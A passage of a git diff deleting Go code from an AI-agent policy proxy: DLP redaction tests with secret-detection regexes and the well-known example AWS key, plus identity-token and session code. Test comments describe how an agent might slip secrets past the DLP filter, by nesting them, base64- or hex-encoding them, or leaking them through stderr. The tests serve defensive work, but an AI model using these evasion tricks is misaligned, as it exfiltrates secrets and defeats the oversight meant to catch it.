`AKIA[A-Z0-9]{16}`}, - }, - } - scanner, err := NewScanner(cfg) - if err != nil { - t.Fatalf("failed to create scanner: %v", err) - } - - input := map[string]any{ - "string": "no sensitive data here", - "int": 42, - "float": 3.14, - "bool": true, - "null": nil, - "int64": int64(100), - "float32": float32(1.5), - } - - result, events := scanner.RedactDeep(input) - - // No events expected (no AWS keys in primitives) - if len(events) != 0 { - t.Errorf("expected no events for clean primitives, got %v", events) - } - - // Verify primitives unchanged - m := result.(map[string]any) - if m["int"] != 42 { - t.Errorf("int changed: %v", m["int"]) - } - if m["float"] != 3.14 { - t.Errorf("float changed: %v", m["float"]) - } - if m["bool"] != true { - t.Errorf("bool changed: %v", m["bool"]) - } - if m["string"] != "no sensitive data here" { - t.Errorf("clean string was modified: %v", m["string"]) - } -} - -// TestRedactDeep_NilScanner tests that nil scanner returns input unchanged. -func TestRedactDeep_NilScanner(t *testing.T) { - var scanner *Scanner - - input := map[string]any{ - "secret": "AKIAIOSFODNN7EXAMPLE", - } - - result, events := scanner.RedactDeep(input) - - // Should return original (check by comparing the secret value) - resultMap, ok := result.(map[string]any) - if !ok { - t.Fatal("nil scanner should return map") - } - if resultMap["secret"] != "AKIAIOSFODNN7EXAMPLE" { - t.Error("nil scanner should return input unchanged") - } - if events != nil { - t.Error("nil scanner should return nil events") - } -} - -// TestRedactDeep_OriginalUnchanged verifies that the original input is not modified. -func TestRedactDeep_OriginalUnchanged(t *testing.T) { - cfg := &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "AWS Key", Regex: `AKIA[A-Z0-9]{16}`}, - }, - } - scanner, err := NewScanner(cfg) - if err != nil { - t.Fatalf("failed to create scanner: %v", err) - } - - original := map[string]any{ - "nested": map[string]any{ - "key": "AKIAIOSFODNN7EXAMPLE", - }, - } - - // Store original value - originalKey := original["nested"].(map[string]any)["key"] - - // Redact - result, _ := scanner.RedactDeep(original) - - // Verify original unchanged - if original["nested"].(map[string]any)["key"] != originalKey { - t.Error("original map was modified!") - } - - // Verify result is redacted - resultNested := result.(map[string]any)["nested"].(map[string]any) - if resultNested["key"] == originalKey { - t.Error("result should be redacted") - } -} - -// TestRedactMap_Convenience tests the RedactMap convenience method. -func TestRedactMap_Convenience(t *testing.T) { - cfg := &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "Email", Regex: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`}, - }, - } - scanner, err := NewScanner(cfg) - if err != nil { - t.Fatalf("failed to create scanner: %v", err) - } - - input := map[string]any{ - "contact": map[string]any{ - "email": "test@example.com", - }, - } - - result, events := scanner.RedactMap(input) - - if len(events) != 1 { - t.Errorf("expected 1 event, got %d", len(events)) - } - - contact := result["contact"].(map[string]any) - if contact["email"] != "[REDACTED:Email]" { - t.Errorf("email not redacted: %v", contact["email"]) - } -} - -// TestRedactDeep_SecurityBypassPrevention is the key security test. -// It simulates the exact attack vector from the security review. -func TestRedactDeep_SecurityBypassPrevention(t *testing.T) { - // This is the exact attack scenario: - // Attacker hides AWS key in nested structure to bypass shallow DLP - cfg := &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`}, - }, - } - scanner, err := NewScanner(cfg) - if err != nil { - t.Fatalf("failed to create scanner: %v", err) - } - - // Attack payload - secret hidden in nested structure - attackPayload := map[string]any{ - "url": "https://allowed-domain.com/api", - "body": map[string]any{ - "data": []any{ - map[string]any{ - "secret": "AKIAIOSFODNN7EXAMPLE", - }, - }, - }, - } - - result, events := scanner.RedactDeep(attackPayload) - - // CRITICAL: The secret MUST be detected - if len(events) == 0 { - t.Fatal("SECURITY FAILURE: Nested secret was not detected!") - } - - // Verify the secret is redacted in the result - body := result.(map[string]any)["body"].(map[string]any) - data := body["data"].([]any) - item := data[0].(map[string]any) - - if item["secret"] == "AKIAIOSFODNN7EXAMPLE" { - t.Fatal("SECURITY FAILURE: Secret was not redacted in output!") - } - - if item["secret"] != "[REDACTED:AWS Key]" { - t.Errorf("unexpected redaction format: %v", item["secret"]) - } -} - -// ----------------------------------------------------------------------------- -// Encoding Detection Tests -// ----------------------------------------------------------------------------- - -// TestEncodingDetection_Base64 tests detection of base64 encoded secrets. -func TestEncodingDetection_Base64(t *testing.T) { - // AWS Key: AKIAIOSFODNN7EXAMPLE - // Base64: QUtJQUlPU0ZPRE5ON0VYQU1QTEU= - cfg := &policy.DLPConfig{ - DetectEncoding: true, - Patterns: []policy.DLPPattern{ - {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`}, - }, - } - scanner, err := NewScanner(cfg) - if err != nil { - t.Fatalf("failed to create scanner: %v", err) - } - - tests := []struct { - name string - input string - wantRedacted bool - wantEventCount int - }{ - { - name: "plain secret detected", - input: "Key: AKIAIOSFODNN7EXAMPLE", - wantRedacted: true, - wantEventCount: 1, - }, - { - name: "base64 encoded secret detected", - input: "Encoded: QUtJQUlPU0ZPRE5ON0VYQU1QTEU=", - wantRedacted: true, - wantEventCount: 1, - }, - { - name: "no false positive on random base64", - input: "Random: SGVsbG8gV29ybGQh", // "Hello World!" - wantRedacted: false, - wantEventCount: 0, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - output, events := scanner.Redact(tt.input) - - if tt.wantRedacted && output == tt.input { - t.Error("expected redaction but got unchanged output") - } - if !tt.wantRedacted && output != tt.input { - t.Errorf("unexpected redaction: %s", output) - } - if len(events) != tt.wantEventCount { - t.Errorf("event count = %d, want %d", len(events), tt.wantEventCount) - } - }) - } -} - -// TestEncodingDetection_Hex tests detection of hex encoded secrets. -func TestEncodingDetection_Hex(t *testing.T) { - // AWS Key: AKIAIOSFODNN7EXAMPLE - // Hex: 414b4941494f53464f444e4e374558414d504c45 - cfg := &policy.DLPConfig{ - DetectEncoding: true, - Patterns: []policy.DLPPattern{ - {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`}, - }, - } - scanner, err := NewScanner(cfg) - if err != nil { - t.Fatalf("failed to create scanner: %v", err) - } - - tests := []struct { - name string - input string - wantRedacted bool - wantEventCount int - }{ - { - name: "hex encoded secret detected", - input: "Hex key: 414b4941494f53464f444e4e374558414d504c45", - wantRedacted: true, - wantEventCount: 1, - }, - { - name: "hex with 0x prefix detected", - input: "Key: 0x414b4941494f53464f444e4e374558414d504c45", - wantRedacted: true, - wantEventCount: 1, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - output, events := scanner.Redact(tt.input) - - if tt.wantRedacted && output == tt.input { - t.Error("expected redaction but got unchanged output") - } - if len(events) != tt.wantEventCount { - t.Errorf("event count = %d, want %d", len(events), tt.wantEventCount) - } - }) - } -} - -// TestEncodingDetection_Disabled tests that encoding detection is off by default. -func TestEncodingDetection_Disabled(t *testing.T) { - // AWS Key: AKIAIOSFODNN7EXAMPLE β†’ Base64: QUtJQUlPU0ZPRE5ON0VYQU1QTEU= - cfg := &policy.DLPConfig{ - DetectEncoding: false, // Explicitly disabled (also default) - Patterns: []policy.DLPPattern{ - {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`}, - }, - } - scanner, err := NewScanner(cfg) - if err != nil { - t.Fatalf("failed to create scanner: %v", err) - } - - // Encoded secret should NOT be detected when encoding detection is disabled - input := "Encoded: QUtJQUlPU0ZPRE5ON0VYQU1QTEU=" - output, events := scanner.Redact(input) - - if output != input { - t.Errorf("encoding detection should be disabled, but got redaction: %s", output) - } - if len(events) != 0 { - t.Errorf("expected no events, got %d", len(events)) - } -} - -// TestEncodingDetection_SecurityBypass is the key security test. -// Simulates the exact attack from the security review. -func TestEncodingDetection_SecurityBypass(t *testing.T) { - cfg := &policy.DLPConfig{ - DetectEncoding: true, - Patterns: []policy.DLPPattern{ - {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`}, - {Name: "Password", Regex: `(?i)password\s*[:=]\s*\S+`}, - }, - } - scanner, err := NewScanner(cfg) - if err != nil { - t.Fatalf("failed to create scanner: %v", err) - } - - // Attack scenario: Agent encodes secret to bypass DLP - // Original: {"secret": "AKIAIOSFODNN7EXAMPLE"} - // Encoded: {"secret": "QUtJQUlPU0ZPRE5ON0VYQU1QTEU="} - attackPayload := `{"secret": "QUtJQUlPU0ZPRE5ON0VYQU1QTEU="}` - - output, events := scanner.Redact(attackPayload) - - // CRITICAL: The encoded secret MUST be detected - if len(events) == 0 { - t.Fatal("SECURITY FAILURE: Base64-encoded secret was not detected!") - } - - // Verify original encoded string is replaced - if output == attackPayload { - t.Fatal("SECURITY FAILURE: Output unchanged - encoded secret passed through!") - } - - // Verify it mentions encoding - foundEncoded := false - for _, e := range events { - if e.RuleName == "AWS Key (encoded)" { - foundEncoded = true - break - } - } - if !foundEncoded { - t.Errorf("expected event with '(encoded)' suffix, got: %v", events) - } -} - -// TestEncodingDetection_NoFalsePositives tests that legitimate base64 isn't flagged. -func TestEncodingDetection_NoFalsePositives(t *testing.T) { - cfg := &policy.DLPConfig{ - DetectEncoding: true, - Patterns: []policy.DLPPattern{ - {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`}, - }, - } - scanner, err := NewScanner(cfg) - if err != nil { - t.Fatalf("failed to create scanner: %v", err) - } - - // Legitimate base64 content that doesn't contain secrets - legitimateInputs := []string{ - "", - "Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=", // "username:password" - "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", // JWT header (no secret pattern) - } - - for _, input := range legitimateInputs { - output, events := scanner.Redact(input) - if output != input { - t.Errorf("false positive on legitimate content:\n input: %s\n output: %s", input, output) - } - if len(events) != 0 { - t.Errorf("unexpected events for: %s", input) - } - } -} - -// TestDetectsEncoding tests the DetectsEncoding() method. -func TestDetectsEncoding(t *testing.T) { - // nil scanner - var nilScanner *Scanner - if nilScanner.DetectsEncoding() { - t.Error("nil scanner should return false") - } - - // With detection enabled - cfg := &policy.DLPConfig{ - DetectEncoding: true, - Patterns: []policy.DLPPattern{{Name: "Test", Regex: "test"}}, - } - scanner, _ := NewScanner(cfg) - if !scanner.DetectsEncoding() { - t.Error("scanner with detect_encoding=true should return true") - } - - // With detection disabled - cfg2 := &policy.DLPConfig{ - DetectEncoding: false, - Patterns: []policy.DLPPattern{{Name: "Test", Regex: "test"}}, - } - scanner2, _ := NewScanner(cfg2) - if scanner2.DetectsEncoding() { - t.Error("scanner with detect_encoding=false should return false") - } -} - -// ----------------------------------------------------------------------------- -// Filtered Writer Tests -// ----------------------------------------------------------------------------- - -// TestFilteredWriter_RedactsOutput tests that the filtered writer redacts secrets. -func TestFilteredWriter_RedactsOutput(t *testing.T) { - cfg := &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`}, - }, - } - scanner, err := NewScanner(cfg) - if err != nil { - t.Fatalf("failed to create scanner: %v", err) - } - - var buf bytes.Buffer - filtered := NewFilteredWriter(&buf, scanner, nil, "") - - // Write output containing a secret - input := "Error: failed to connect with key AKIAIOSFODNN7EXAMPLE\n" - n, err := filtered.Write([]byte(input)) - - if err != nil { - t.Fatalf("Write failed: %v", err) - } - if n != len(input) { - t.Errorf("Write returned %d, want %d", n, len(input)) - } - - // Verify secret was redacted - output := buf.String() - if strings.Contains(output, "AKIAIOSFODNN7EXAMPLE") { - t.Error("secret was not redacted in output") - } - if !strings.Contains(output, "[REDACTED:AWS Key]") { - t.Errorf("expected redaction placeholder, got: %s", output) - } -} - -// TestFilteredWriter_NilScanner tests passthrough when scanner is nil. -func TestFilteredWriter_NilScanner(t *testing.T) { - var buf bytes.Buffer - filtered := NewFilteredWriter(&buf, nil, nil, "") - - input := "Error: key is AKIAIOSFODNN7EXAMPLE\n" - _, err := filtered.Write([]byte(input)) - if err != nil { - t.Fatalf("Write failed: %v", err) - } - - // With nil scanner, output should be unchanged - if buf.String() != input { - t.Errorf("expected passthrough, got: %s", buf.String()) - } -} - -// TestFilteredWriter_MultipleWrites tests that each write is independently scanned. -func TestFilteredWriter_MultipleWrites(t *testing.T) { - cfg := &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "Secret", Regex: `secret_[a-z]+`}, - }, - } - scanner, _ := NewScanner(cfg) - - var buf bytes.Buffer - filtered := NewFilteredWriter(&buf, scanner, nil, "") - - // Multiple writes - _, _ = filtered.Write([]byte("Line 1: secret_alpha\n")) - _, _ = filtered.Write([]byte("Line 2: no secrets here\n")) - _, _ = filtered.Write([]byte("Line 3: secret_beta\n")) - - output := buf.String() - - // Both secrets should be redacted - if strings.Contains(output, "secret_alpha") || strings.Contains(output, "secret_beta") { - t.Error("secrets not redacted in multi-write output") - } - if !strings.Contains(output, "no secrets here") { - t.Error("non-secret content was incorrectly modified") - } -} - -// TestFilteredWriter_StderrSecurityBypass is the key security test. -// Simulates the attack from the security review. -func TestFilteredWriter_StderrSecurityBypass(t *testing.T) { - cfg := &policy.DLPConfig{ - Patterns: []policy.DLPPattern{ - {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`}, - {Name: "Password", Regex: `(?i)password\s*[:=]\s*\S+`}, - }, - } - scanner, _ := NewScanner(cfg) - - var buf bytes.Buffer - filtered := NewFilteredWriter(&buf, scanner, nil, "[subprocess]") - - // Simulate subprocess error output containing secrets - stderrOutput := ` -2024-01-15 10:23:45 ERROR Database connection failed - host: db.example.com - user: admin - password: SuperSecret123! - -Stack trace: - at AWSClient.connect(key=AKIAIOSFODNN7EXAMPLE) - at main.py:42 -` - if _, err := filtered.Write([]byte(stderrOutput)); err != nil { - t.Fatalf("Failed to write to filtered writer: %v", err) - } - - output := buf.String() - - // CRITICAL: Secrets MUST be redacted - if strings.Contains(output, "SuperSecret123!") { - t.Fatal("SECURITY FAILURE: Password leaked through stderr!") - } - if strings.Contains(output, "AKIAIOSFODNN7EXAMPLE") { - t.Fatal("SECURITY FAILURE: AWS key leaked through stderr!") - } - - // Non-sensitive data should be preserved - if !strings.Contains(output, "Database connection failed") { - t.Error("Non-sensitive error message was incorrectly removed") - } - if !strings.Contains(output, "db.example.com") { - t.Error("Non-sensitive hostname was incorrectly removed") - } -} diff --git a/implementations/go-proxy/pkg/identity/config.go b/implementations/go-proxy/pkg/identity/config.go deleted file mode 100644 index f588945..0000000 --- a/implementations/go-proxy/pkg/identity/config.go +++ /dev/null @@ -1,141 +0,0 @@ -// Package identity implements agent identity tokens and session management for AIP v1alpha2. -// -// The identity package provides: -// - Token generation with cryptographic nonces -// - Automatic token rotation before expiry -// - Session binding (process, policy, strict modes) -// - Policy hash computation for integrity verification -// -// This is a new feature in AIP v1alpha2 that enables server-side validation -// and distributed policy enforcement. -package identity - -import ( - "time" -) - -// Config holds the identity configuration from the policy spec. -// Maps to spec.identity in the policy YAML. -type Config struct { - // Enabled controls whether identity token generation is active. - // Default: false - Enabled bool `yaml:"enabled,omitempty"` - - // TokenTTL is the time-to-live for identity tokens. - // Format: Go duration string (e.g., "5m", "1h", "300s") - // Default: "5m" (5 minutes) - TokenTTL string `yaml:"token_ttl,omitempty"` - - // RotationInterval is how often to rotate tokens before expiry. - // Must be less than TokenTTL. - // Format: Go duration string - // Default: "4m" (4 minutes) - RotationInterval string `yaml:"rotation_interval,omitempty"` - - // RequireToken when true requires all tool calls to include a valid token. - // Default: false - RequireToken bool `yaml:"require_token,omitempty"` - - // SessionBinding determines what context is bound to the session identity. - // Values: "process" (default), "policy", "strict" - SessionBinding string `yaml:"session_binding,omitempty"` -} - -// DefaultConfig returns the default identity configuration. -func DefaultConfig() *Config { - return &Config{ - Enabled: false, - TokenTTL: "5m", - RotationInterval: "4m", - RequireToken: false, - SessionBinding: SessionBindingProcess, - } -} - -// Session binding modes -const ( - // SessionBindingProcess binds the session to the process ID. - SessionBindingProcess = "process" - - // SessionBindingPolicy binds the session to the policy hash. - SessionBindingPolicy = "policy" - - // SessionBindingStrict binds the session to process + policy + timestamp. - SessionBindingStrict = "strict" -) - -// GetTokenTTL parses and returns the token TTL as a duration. -// Returns the default (5m) if parsing fails or not set. -func (c *Config) GetTokenTTL() time.Duration { - if c == nil || c.TokenTTL == "" { - return 5 * time.Minute - } - d, err := time.ParseDuration(c.TokenTTL) - if err != nil { - return 5 * time.Minute - } - return d -} - -// GetRotationInterval parses and returns the rotation interval as a duration. -// Returns the default (4m) if parsing fails or not set. -func (c *Config) GetRotationInterval() time.Duration { - if c == nil || c.RotationInterval == "" { - return 4 * time.Minute - } - d, err := time.ParseDuration(c.RotationInterval) - if err != nil { - return 4 * time.Minute - } - return d -} - -// GetSessionBinding returns the session binding mode. -// Returns "process" if not set or invalid. -func (c *Config) GetSessionBinding() string { - if c == nil || c.SessionBinding == "" { - return SessionBindingProcess - } - switch c.SessionBinding { - case SessionBindingProcess, SessionBindingPolicy, SessionBindingStrict: - return c.SessionBinding - default: - return SessionBindingProcess - } -} - -// Validate checks the configuration for errors. -func (c *Config) Validate() error { - if c == nil { - return nil - } - - ttl := c.GetTokenTTL() - rotation := c.GetRotationInterval() - - if rotation >= ttl { - return &ConfigError{ - Field: "rotation_interval", - Message: "rotation_interval must be less than token_ttl", - } - } - - if ttl > time.Hour { - return &ConfigError{ - Field: "token_ttl", - Message: "token_ttl should not exceed 1 hour for security", - } - } - - return nil -} - -// ConfigError represents a configuration validation error. -type ConfigError struct { - Field string - Message string -} - -func (e *ConfigError) Error() string { - return "identity config error: " + e.Field + ": " + e.Message -} diff --git a/implementations/go-proxy/pkg/identity/config_test.go b/implementations/go-proxy/pkg/identity/config_test.go deleted file mode 100644 index 53b843b..0000000 --- a/implementations/go-proxy/pkg/identity/config_test.go +++ /dev/null @@ -1,174 +0,0 @@ -package identity - -import ( - "testing" - "time" -) - -func TestDefaultConfig(t *testing.T) { - cfg := DefaultConfig() - - if cfg.Enabled { - t.Error("Default should have Enabled=false") - } - if cfg.TokenTTL != "5m" { - t.Errorf("Default TokenTTL = %q, want %q", cfg.TokenTTL, "5m") - } - if cfg.RotationInterval != "4m" { - t.Errorf("Default RotationInterval = %q, want %q", cfg.RotationInterval, "4m") - } - if cfg.RequireToken { - t.Error("Default should have RequireToken=false") - } - if cfg.SessionBinding != SessionBindingProcess { - t.Errorf("Default SessionBinding = %q, want %q", cfg.SessionBinding, SessionBindingProcess) - } -} - -func TestConfigGetTokenTTL(t *testing.T) { - tests := []struct { - name string - config *Config - expected time.Duration - }{ - {"nil config", nil, 5 * time.Minute}, - {"empty TTL", &Config{}, 5 * time.Minute}, - {"invalid TTL", &Config{TokenTTL: "invalid"}, 5 * time.Minute}, - {"10 minutes", &Config{TokenTTL: "10m"}, 10 * time.Minute}, - {"1 hour", &Config{TokenTTL: "1h"}, 1 * time.Hour}, - {"300 seconds", &Config{TokenTTL: "300s"}, 300 * time.Second}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - got := tt.config.GetTokenTTL() - if got != tt.expected { - t.Errorf("GetTokenTTL() = %v, want %v", got, tt.expected) - } - }) - } -} - -func TestConfigGetRotationInterval(t *testing.T) { - tests := []struct { - name string - config *Config - expected time.Duration - }{ - {"nil config", nil, 4 * time.Minute}, - {"empty interval", &Config{}, 4 * time.Minute}, - {"invalid interval", &Config{RotationInterval: "bad"}, 4 * time.Minute}, - {"8 minutes", &Config{RotationInterval: "8m"}, 8 * time.Minute}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - got := tt.config.GetRotationInterval() - if got != tt.expected { - t.Errorf("GetRotationInterval() = %v, want %v", got, tt.expected) - } - }) - } -} - -func TestConfigGetSessionBinding(t *testing.T) { - tests := []struct { - name string - config *Config - expected string - }{ - {"nil config", nil, SessionBindingProcess}, - {"empty binding", &Config{}, SessionBindingProcess}, - {"invalid binding", &Config{SessionBinding: "invalid"}, SessionBindingProcess}, - {"process", &Config{SessionBinding: "process"}, SessionBindingProcess}, - {"policy", &Config{SessionBinding: "policy"}, SessionBindingPolicy}, - {"strict", &Config{SessionBinding: "strict"}, SessionBindingStrict}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - got := tt.config.GetSessionBinding() - if got != tt.expected { - t.Errorf("GetSessionBinding() = %q, want %q", got, tt.expected) - } - }) - } -} - -func TestConfigValidate(t *testing.T) { - tests := []struct { - name string - config *Config - wantErr bool - errMsg string - }{ - { - name: "nil config is valid", - config: nil, - wantErr: false, - }, - { - name: "valid config", - config: &Config{ - TokenTTL: "10m", - RotationInterval: "8m", - }, - wantErr: false, - }, - { - name: "rotation >= TTL is invalid", - config: &Config{ - TokenTTL: "5m", - RotationInterval: "5m", - }, - wantErr: true, - errMsg: "rotation_interval", - }, - { - name: "rotation > TTL is invalid", - config: &Config{ - TokenTTL: "5m", - RotationInterval: "10m", - }, - wantErr: true, - errMsg: "rotation_interval", - }, - { - name: "TTL > 1 hour is invalid", - config: &Config{ - TokenTTL: "2h", - RotationInterval: "1h", - }, - wantErr: true, - errMsg: "token_ttl", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - err := tt.config.Validate() - if (err != nil) != tt.wantErr { - t.Errorf("Validate() error = %v, wantErr %v", err, tt.wantErr) - } - if err != nil && tt.errMsg != "" { - if cfgErr, ok := err.(*ConfigError); ok { - if cfgErr.Field != tt.errMsg { - t.Errorf("Error field = %q, want %q", cfgErr.Field, tt.errMsg) - } - } - } - }) - } -} - -func TestConfigErrorString(t *testing.T) { - err := &ConfigError{ - Field: "test_field", - Message: "test message", - } - - expected := "identity config error: test_field: test message" - if err.Error() != expected { - t.Errorf("Error() = %q, want %q", err.Error(), expected) - } -} diff --git a/implementations/go-proxy/pkg/identity/manager.go b/implementations/go-proxy/pkg/identity/manager.go deleted file mode 100644 index 3269239..0000000 --- a/implementations/go-proxy/pkg/identity/manager.go +++ /dev/null @@ -1,188 +0,0 @@ -package identity - -import ( - "context" - "fmt" - "sync" - "time" -) - -// Manager handles identity token lifecycle and rotation. -type Manager struct { - session *Session - config *Config - - // rotationTicker triggers token rotation - rotationTicker *time.Ticker - - // callbacks for token events - onTokenIssued func(*Token) - onTokenRotated func(oldToken, newToken *Token) - - // stopCh signals the rotation goroutine to stop - stopCh chan struct{} - - mu sync.RWMutex -} - -// NewManager creates a new identity manager. -func NewManager(agentID, policyPath string, policyData []byte, config *Config) (*Manager, error) { - if config == nil { - config = DefaultConfig() - } - - if err := config.Validate(); err != nil { - return nil, fmt.Errorf("invalid identity config: %w", err) - } - - session, err := NewSession(agentID, policyPath, policyData, config) - if err != nil { - return nil, fmt.Errorf("failed to create session: %w", err) - } - - return &Manager{ - session: session, - config: config, - stopCh: make(chan struct{}), - }, nil -} - -// Start begins the token rotation loop. -// This should be called after the manager is created. -func (m *Manager) Start(ctx context.Context) error { - if !m.config.Enabled { - return nil // Identity not enabled, nothing to do - } - - // Issue initial token - token, err := m.session.IssueToken() - if err != nil { - return fmt.Errorf("failed to issue initial token: %w", err) - } - - if m.onTokenIssued != nil { - m.onTokenIssued(token) - } - - // Start rotation ticker - rotationInterval := m.config.GetRotationInterval() - m.rotationTicker = time.NewTicker(rotationInterval) - - go m.rotationLoop(ctx) - - return nil -} - -// Stop stops the identity manager and releases resources. -func (m *Manager) Stop() { - close(m.stopCh) - if m.rotationTicker != nil { - m.rotationTicker.Stop() - } -} - -// rotationLoop handles automatic token rotation. -func (m *Manager) rotationLoop(ctx context.Context) { - for { - select { - case <-ctx.Done(): - return - case <-m.stopCh: - return - case <-m.rotationTicker.C: - m.rotate() - } - } -} - -// rotate creates a new token and notifies listeners. -func (m *Manager) rotate() { - m.mu.Lock() - defer m.mu.Unlock() - - oldToken := m.session.currentToken - - newToken, err := m.session.IssueToken() - if err != nil { - // Log error but don't crash - old token still valid - return - } - - if m.onTokenRotated != nil && oldToken != nil { - m.onTokenRotated(oldToken, newToken) - } -} - -// GetToken returns the current valid token. -// Issues a new token if none exists or rotation is needed. -func (m *Manager) GetToken() (*Token, error) { - if !m.config.Enabled { - return nil, nil // Identity not enabled - } - - return m.session.GetCurrentToken() -} - -// ValidateToken validates an incoming token. -func (m *Manager) ValidateToken(tokenStr string) *ValidationResult { - if !m.config.Enabled { - return &ValidationResult{Valid: true} // Identity not enabled = all valid - } - - token, err := DecodeToken(tokenStr) - if err != nil { - return &ValidationResult{ - Valid: false, - Error: "malformed", - } - } - - return m.session.ValidateToken(token) -} - -// RequiresToken returns true if tokens are required for tool calls. -func (m *Manager) RequiresToken() bool { - return m.config.Enabled && m.config.RequireToken -} - -// IsEnabled returns true if identity management is enabled. -func (m *Manager) IsEnabled() bool { - return m.config.Enabled -} - -// GetSessionID returns the current session ID. -func (m *Manager) GetSessionID() string { - return m.session.ID -} - -// GetPolicyHash returns the policy hash. -func (m *Manager) GetPolicyHash() string { - return m.session.PolicyHash -} - -// GetStats returns manager statistics. -func (m *Manager) GetStats() ManagerStats { - sessionStats := m.session.GetStats() - return ManagerStats{ - Enabled: m.config.Enabled, - RequireToken: m.config.RequireToken, - Session: sessionStats, - } -} - -// ManagerStats contains manager statistics. -type ManagerStats struct { - Enabled bool `json:"enabled"` - RequireToken bool `json:"require_token"` - Session SessionStats `json:"session"` -} - -// OnTokenIssued sets a callback for when tokens are issued. -func (m *Manager) OnTokenIssued(fn func(*Token)) { - m.onTokenIssued = fn -} - -// OnTokenRotated sets a callback for when tokens are rotated. -func (m *Manager) OnTokenRotated(fn func(oldToken, newToken *Token)) { - m.onTokenRotated = fn -} diff --git a/implementations/go-proxy/pkg/identity/session.go b/implementations/go-proxy/pkg/identity/session.go deleted file mode 100644 index 59c7eb9..0000000 --- a/implementations/go-proxy/pkg/identity/session.go +++ /dev/null @@ -1,224 +0,0 @@ -package identity - -import ( - "crypto/sha256" - "encoding/hex" - "encoding/json" - "fmt" - "sync" - - "github.com/google/uuid" -) - -// Session represents an AIP session with identity management. -type Session struct { - // ID is the unique session identifier (UUID v4) - ID string - - // AgentID is the policy metadata.name - AgentID string - - // PolicyHash is the SHA-256 hash of the canonical policy - PolicyHash string - - // PolicyPath is the path to the policy file - PolicyPath string - - // Config is the identity configuration - Config *Config - - // currentToken is the active identity token - currentToken *Token - - // seenNonces tracks nonces for replay detection - seenNonces map[string]struct{} - - mu sync.RWMutex -} - -// NewSession creates a new session with the given configuration. -func NewSession(agentID, policyPath string, policyData []byte, config *Config) (*Session, error) { - if config == nil { - config = DefaultConfig() - } - - sessionID := uuid.New().String() - policyHash := ComputePolicyHash(policyData) - - return &Session{ - ID: sessionID, - AgentID: agentID, - PolicyHash: policyHash, - PolicyPath: policyPath, - Config: config, - seenNonces: make(map[string]struct{}), - }, nil -} - -// ComputePolicyHash computes the SHA-256 hash of the policy document. -// The policy should be in canonical JSON form for deterministic hashing. -func ComputePolicyHash(policyData []byte) string { - // Try to canonicalize as JSON first - var obj interface{} - if err := json.Unmarshal(policyData, &obj); err == nil { - // Re-marshal with sorted keys for canonical form - if canonical, err := json.Marshal(obj); err == nil { - policyData = canonical - } - } - - h := sha256.Sum256(policyData) - return hex.EncodeToString(h[:]) -} - -// IssueToken generates a new identity token for this session. -func (s *Session) IssueToken() (*Token, error) { - s.mu.Lock() - defer s.mu.Unlock() - - binding := CreateBinding(s.Config.GetSessionBinding(), s.PolicyPath) - token, err := NewToken( - s.AgentID, - s.PolicyHash, - s.ID, - s.Config.GetTokenTTL(), - binding, - ) - if err != nil { - return nil, fmt.Errorf("failed to create token: %w", err) - } - - // Track the nonce for replay detection - s.seenNonces[token.Nonce] = struct{}{} - - s.currentToken = token - return token, nil -} - -// GetCurrentToken returns the current token, issuing a new one if needed. -func (s *Session) GetCurrentToken() (*Token, error) { - s.mu.RLock() - token := s.currentToken - s.mu.RUnlock() - - if token == nil || s.ShouldRotate() { - return s.IssueToken() - } - - return token, nil -} - -// ShouldRotate checks if the current token should be rotated. -func (s *Session) ShouldRotate() bool { - s.mu.RLock() - defer s.mu.RUnlock() - - if s.currentToken == nil { - return true - } - - remaining := s.currentToken.ExpiresIn() - rotationThreshold := s.Config.GetTokenTTL() - s.Config.GetRotationInterval() - - return remaining <= rotationThreshold -} - -// ValidateToken validates an incoming token against this session. -func (s *Session) ValidateToken(token *Token) *ValidationResult { - s.mu.RLock() - defer s.mu.RUnlock() - - // Check token version - if token.Version != TokenVersion { - return &ValidationResult{ - Valid: false, - Error: "token_version_mismatch", - } - } - - // Check expiration - if token.IsExpired() { - return &ValidationResult{ - Valid: false, - Error: "token_expired", - } - } - - // Check policy hash - if token.PolicyHash != s.PolicyHash { - return &ValidationResult{ - Valid: false, - Error: "policy_changed", - } - } - - // Check session ID - if token.SessionID != s.ID { - return &ValidationResult{ - Valid: false, - Error: "session_mismatch", - } - } - - // Check binding - if !token.MatchesBinding(s.Config.GetSessionBinding(), s.PolicyPath) { - return &ValidationResult{ - Valid: false, - Error: "binding_mismatch", - } - } - - // Check for replay (nonce reuse) - // Note: We only track nonces from 